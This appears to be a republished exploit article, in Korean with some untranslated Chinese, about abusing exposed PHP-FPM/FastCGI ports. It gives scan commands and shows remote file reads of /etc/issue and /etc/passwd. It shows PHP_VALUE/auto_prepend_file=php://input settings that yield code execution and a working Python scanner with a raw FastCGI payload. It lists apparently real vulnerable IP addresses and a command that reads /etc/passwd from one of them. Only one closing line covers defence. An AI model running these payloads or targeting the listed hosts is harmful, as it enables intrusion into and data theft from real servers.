>  기사  >  백엔드 개발  >  fastcgi 파일 읽기 취약점에 대한 Python 스캐닝 스크립트 분석 예

fastcgi 파일 읽기 취약점에 대한 Python 스캐닝 스크립트 분석 예

Y2J
Y2J원래의
2017-05-02 15:21:241714검색

본 글에서는 fastcgi 파일 읽기 취약점에 대한 Python 스캐닝 스크립트를 주로 소개하고 있습니다. 필요한 친구들은

PHP FastCGI 원격 활용

FastCGI를 참고하세요. 이것이 가장 일반적인 웹 서버 동적 스크립트 실행 모델 중 하나라는 것을 알고 있습니다. 현재 기본적으로 모든 웹 스크립트는 기본적으로 이 모드를 지원하며 일부 유형의 스크립트(ROR, Python 등)도 유일한 모드입니다.

FastCGI의 주요 목적은 웹 서버와 동적 언어 실행을 두 개의 서로 다른 상주 프로세스로 분리하는 것입니다. 웹 서버는 동적 스크립트에 대한 요청을 받으면 다음을 통해 해당 요청을 fcgi 프로세스로 전달합니다. fcgi 프로토콜을 통해 네트워크에 접속하면 fcgi 프로세스에 의해 처리된 후 결과가 웹 서버로 전송되고 웹 서버는 이를 브라우저에 출력합니다. 이 모델은 모든 요청에 ​​대해 cgi를 다시 시작할 필요가 없으며 웹 서버에 스크립트 파서를 내장할 필요도 없으므로 확장성이 뛰어납니다. 동적 스크립트 요청 수가 증가하면 백업을 위해 별도의 클러스터를 설정할 수 있습니다. -end fcgi 프로세스. 서비스를 제공하면 유지 관리성이 크게 향상되는데, 이는 fcgi와 같은 유사한 모델이 인기를 끄는 이유 중 하나입니다.

그러나 바로 이 모델 때문에 몇 가지 문제도 발생합니다. 예를 들어 지난해 80sec가 공개한 'nginx 파일 파싱 취약점'은 사실 fcgi와 웹서버 간 스크립트 경로 수준 매개변수에 대한 이해가 달라서 발생하는 문제다. 또한 fcgi와 웹서버는 네트워크를 통해 통신하기 때문에 현재 점점 더 많은 클러스터가 fcgi를 공용 네트워크에 직접 바인딩하고 있으며 누구나 액세스할 수 있습니다. 이는 누구나 웹서버인 것처럼 가장할 수 있고 fcgi가 우리가 실행하려는 스크립트 콘텐츠를 실행하도록 할 수 있음을 의미합니다.

이상은 배경 원리에 대한 설명입니다. 제가 가장 잘 알고 있는 PHP를 예로 들어 보겠습니다.

PHP의 fastcgi는 현재 일반적으로 FPM이라고 불립니다. 기본 수신 포트는 포트 9000입니다. 여기서는 nmap을 사용하여 직접 스캔합니다.

nmap -sV -p 9000 --open x.x.x.x/24

왜 sV를 사용합니까? 포트 9000에 다른 서비스가 있을 수 있으므로 먼저 해당 서비스를 식별하려면 nmap의 지문 인식을 사용해야 합니다.

[root@test:~/work/fcgi]#nmap -sV -p 9000 --open 173.xxx.xxx.1/24
Starting Nmap 6.01 ( http://nmap.org ) at 2012-09-14 20:06 EDTNmap scan report for abc.net (173.xxx.xxx.111)Host is up (0.0095s latency).PORT     STATE SERVICE VERSION9000/tcp open  ssh     OpenSSH 5.3p1 Debian 3ubuntu7 (protocol 2.0)Service Info: OS: Linux; CPE: cpe:/o:linux:kernel
Nmap scan report for abc.com (173.xxx.xxx.183)Host is up (0.0096s latency).PORT     STATE SERVICE    VERSION9000/tcp open  tcpwrapped
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .Nmap done: 256 IP addresses (198 hosts up) scanned in 7.70 seconds

무작위로 스캔을 해보니 운이 좋게도 세그먼트 C에 2개의 열려 있는 9000 포트가 있었는데 그 중 하나는 관리자가 sshd로 수정한 것이고, 다른 하나는 우리의 타겟인 tcpwrapped였습니다.

테스트를 위해 상대방에게 직접 요청을 시작하는 fastcgi 클라이언트 프로그램을 작성했습니다. 개방형 fastcgi를 사용하여 무엇을 할 수 있나요? 이는 일반 http 요청과 약간 다릅니다. 일부 fastcgi 매개변수를 제공하기 위해 웹서버는 요청을 전달할 때마다 FASTCGI_PARAMS 패키지를 통해 매개변수를 fcgi 프로세스에 전달하기 때문입니다. 원래 이러한 매개변수는 사용자가 제어할 수 없지만 이 fcgi는 외부 세계에 공개되어 있으므로 다른 방법으로는 할 수 없는 작업을 수행할 수 있도록 이러한 매개변수를 설정할 수 있습니다.

[root@test:~/work/fcgi]#./fcgi_exp read 173.xxx.xxx.183 9000 /etc/issue
X-Powered-By: PHP/5.3.2-1ubuntu4.9Content-type: text/html www.jb51.net
Ubuntu 10.04.3 LTS \n \l

read / etc/issue 파일을 보면 이것이 우분투 10.04 머신이라는 것을 알 수 있습니다. 어떻게 달성됩니까? 실제로 DOCUMENT_ROOT를 FASTCGI_PARAMS의 "/" 루트 디렉터리로 설정한 다음 SCRIPT_FILENAME을 /etc/issue로 설정하면 됩니다. 이러한 방식으로 권한이 있는 한 fcgi를 제어하여 이 시스템의 모든 파일을 읽을 수 있습니다. 실제로 이것은 읽는 것이 아니라 PHP를 사용하여 실행하는 것입니다.

실행이기 때문에 이 취약점은 사실상 일반 LFI 취약점과 유사합니다. 이 머신의 로그 경로나 컨텐츠를 제어할 수 있는 파일 경로를 알면 임의의 코드를 실행할 수 있습니다.

그게 끝인가요? 아니요, 로그를 사용하거나 다른 파일 경로를 추측하여 코드를 실행해도 여전히 편리하지 않습니다. 제출한 코드를 실행할 수 있는 더 편리한 방법이 있습니까?

여기서도 여러 가지 방법을 찾았습니다. 가장 먼저 생각한 것은 env 매개변수를 전달한 다음 /proc/self/environ 파일을 실행하는 것이었습니다. 안타깝게도 php-fpm은 이를 이후에 메모리에만 저장했습니다. 내 매개변수 값을 수신하면 환경 변수를 수정해도 이 파일이 직접 변경되지 않습니다. 따라서 사용할 수 없습니다. 게다가 이 방법은 모든 시스템에 적용되는 것은 아닙니다.

이전에 작성한 "PoC and Technical Challenges of CVE-2012-1823(PHP-CGI RCE)"에서 php.ini의 auto_prepend_file 값을 동적으로 수정하는 방법도 있습니다. 임의의 파일을 실행합니다. LFI 취약점을 RFI로 전환하면 악용 가능한 공간이 크게 늘어납니다.

fastcgi는 PHP 구성의 유사한 동적 수정도 지원합니까? 정보를 확인한 결과 FPM은 원래 지원되지 않는 것으로 나타났습니다. 개발자가 버그를 제출한 후에야 PHP 관계자가 이 기능을 PHP 5.3.3의 소스 코드에 병합했습니다.

일반적으로 FASTCGI_PARAMS를 설정하면 PHP_ADMIN_VALUE 및 PHP_VALUE를 사용하여 PHP 설정을 동적으로 수정할 수 있습니다.

env["REQUEST_METHOD"] = "POST"
env["PHP_VALUE"] = "auto_prepend_file = php://input"
env["PHP_ADMIN_VALUE"] = "allow_url_include = Onndisable_functions = nsafe_mode = Off"

php://input을 실행한 후 POST 내용에 우리의 PHP 코드를 작성하여 직접 실행할 수 있도록 사용합니다.

[root@test:~/work/fcgi]#./fcgi_exp system 127.0.0.1 9000 /tmp/a.php "id; uname -a"   
X-Powered-By: PHP/5.5.0-devContent-type: text/html
uid=500(www) gid=500(www) groups=500(www)Linux test 2.6.18-308.13.1.el5 #1 SMP Tue Aug 21 17:51:21 EDT 2012 x86_64 x86_64 x86_64 GNU/Linux

细心者会注意到这里有些变化,我换了本机做测试。因为开始发现的那台机器php版本是5.3.2,正好低于5.3.3,因此无法利用修改ini设置去执行代码,只能去猜路径。

另一个变化是,我这里去读取/tmp/a.php这个php文件,而不是去读取/etc/issue。因为在5.3.9开始,php官方加入了一个配置"security.limit_extensions",默认状态下只允许执行扩展名为".php"的文件。因此你必须找到一个已经存在的php文件。而这个设置是php-fpm.conf里的,无法通过修改ini的配置去覆盖它。如果谁能有更好的办法可以绕过这个限制,请告诉我。

ok,目前为止对php-fpm的所有测试已经结束,我们利用一个对外开放的fcgi进程,已经可以直接获取shell了。各位不如也去研究一下其他fcgi,或许会有更多发现。

如何防止这个漏洞?很简单,千万不要把fcgi接口对公网暴露。同时也希望将来fcgi会有身份认证机制。

任何系统上编译,请安装golang之后,执行:
go build fcgi_exp.go

fastcgi文件读取漏洞python扫描脚本

fastcgi文件读取(代码执行)是个很老的漏洞,漏洞描述: PHP FastCGI 的远程利用

利用该漏洞可读取系统文件,甚至有一定几率成功执行代码。 下载上述文章中提到的: fcgi_exp

协议细节其实我已不关心,只需要一个python的扫描脚本。于是拿wireshark抓了下GaRY的程序,写一小段代码。

外网暴露9000端口的机器自然是非常非常少的,但内网可就说不定了。

import socket
import sys
def test_fastcgi(ip):
  sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM); sock.settimeout(5.0)
  sock.connect((ip, 9000))
  data = """
  01 01 00 01 00 08 00 00 00 01 00 00 00 00 00 00
  01 04 00 01 00 8f 01 00 0e 03 52 45 51 55 45 53 
  54 5f 4d 45 54 48 4f 44 47 45 54 0f 08 53 45 52 
  56 45 52 5f 50 52 4f 54 4f 43 4f 4c 48 54 54 50 
  2f 31 2e 31 0d 01 44 4f 43 55 4d 45 4e 54 5f 52
  4f 4f 54 2f 0b 09 52 45 4d 4f 54 45 5f 41 44 44
  52 31 32 37 2e 30 2e 30 2e 31 0f 0b 53 43 52 49 
  50 54 5f 46 49 4c 45 4e 41 4d 45 2f 65 74 63 2f 
  70 61 73 73 77 64 0f 10 53 45 52 56 45 52 5f 53
  4f 46 54 57 41 52 45 67 6f 20 2f 20 66 63 67 69
  63 6c 69 65 6e 74 20 00 01 04 00 01 00 00 00 00
  """
  data_s = ''
  for _ in data.split():
    data_s += chr(int(_,16))
  sock.send(data_s)
  try:
    ret = sock.recv(1024)
    if ret.find(':root:') > 0:
      print ret
      print '%s is vulnerable!' % ip
      return True
    else:
      return False
  except Exception, e:
    pass
      
  sock.close()
if __name__ == '__main__':
  if len(sys.argv) == 1:
    print sys.argv[0], '[ip]'
  else:
    test_fastcgi(sys.argv[1])

通过快速扫描9000端口,可以发现几个存在漏洞的机器:

110.164.68.137 is vul !
110.164.68.148 is vul !
110.164.68.149 is vul !
110.164.68.151 is vul !
110.164.68.154 is vul !
110.164.68.155 is vul !

fcgi_exp.exe read 110.164.68.137 9000 /etc/passwd

위 내용은 fastcgi 파일 읽기 취약점에 대한 Python 스캐닝 스크립트 분석 예의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

성명:
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.